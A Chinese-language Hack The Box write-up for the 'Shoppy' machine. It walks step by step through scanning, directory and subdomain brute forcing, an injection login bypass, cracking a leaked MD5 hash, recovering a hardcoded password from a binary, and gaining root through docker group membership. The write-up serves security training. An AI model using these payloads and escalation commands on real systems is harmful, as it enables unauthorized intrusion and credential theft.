网址:
https://app.hackthebox.com/machines/Shoppy
使用nmap扫描ip
nmap -sC -sV -p- 10.10.11.180
根据扫描结果,发现了一个域名,我们需要本地dns解析这个域名
echo "10.10.11.180 shoppy.htb" >> /etc/hosts
我们需要安装一个字典
apt install seclists
然后枚举网站的目录
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://shoppy.htb/FUZZ
发现了后台什么的,我们去浏览器页面看看
我尝试了一下万能密码,没想到成功了
admin'||'1==1
登录后台后,右上角有一个搜索用户的图标,我们继续输入万能密码试试
按下回车后有一个下载的图标
这里找到了两个账户密码的hash值,然后我用hashcat爆破,发现admin爆不出来,而josh用户的可以
echo "6ebcea65320589ca4f2f1ce039975995" > hash
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
我之前爆破过,这里就直接出现密码了,我用这个用户名和密码登录ssh,发现不对,可能还有哪里的信息搜集没做完,这里的用户名和密码可能是另一个网站的,我们可以枚举一下网站的子域名
gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
这里找到一个子域名,我们将他也解析一下
echo "10.10.11.180 mattermost.shoppy.htb" >> /etc/hosts
然后去浏览器里看看
发现了一个登录的页面,我们输入之前爆破的用户名和密码试试
成功登录,在这里可以发现ssh的账号和密码,我们ssh登录试试
ssh jaeger@10.10.11.180
sudo -l
我检查了一下当前用户可以使用sudo命令执行什么,发现了一个奇怪的文件,我们将这个文件下载到kali里
注意,这里需要移动到文件的目录里
python3 -m http.server 1234
然后用kali下载这个文件
wget http://10.10.11.180:1234/password-manager
获取文件信息
file password-manager
这是一个64位的可执行文件,然后用radare2静态分析这个程序
r2 password-manager
然后输入指令,定位到主函数地址
aaa //自动分析并命名函数
afl //查看程序内的函数
这里找到了main函数,然后去到main函数的地址并查看汇编代码
s main //定位到main函数地址
pdf //查看当前函数的汇编代码
这是一个c++写的程序,运行程序的之后会输出Welcome to Josh password manager!字符串
然后输出Please enter your master password:字符串,并接受我们的输入
在下面,程序会和我们输入的字符和Sample字符一个一个的做对比
我们输入的字符串是Sample后,会输出Access granted! Here is creds !字符串,表示我们输入正确,然后会执行一个系统命令,查看/home/deploy/creds.txt文件内容
用ida查看文件,也和我们分析的一样
回到靶机,运行程序,输入Sample
sudo -u deploy ./password-manager
我们获得了deploy用户的账号和密码,然后切换账号
su deploy
在输入id的时候,发现了这个用户在docker组里
去到这个网站,ctrl+f搜索docker
https://gtfobins.github.io/
输入此命令,即可获得root shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh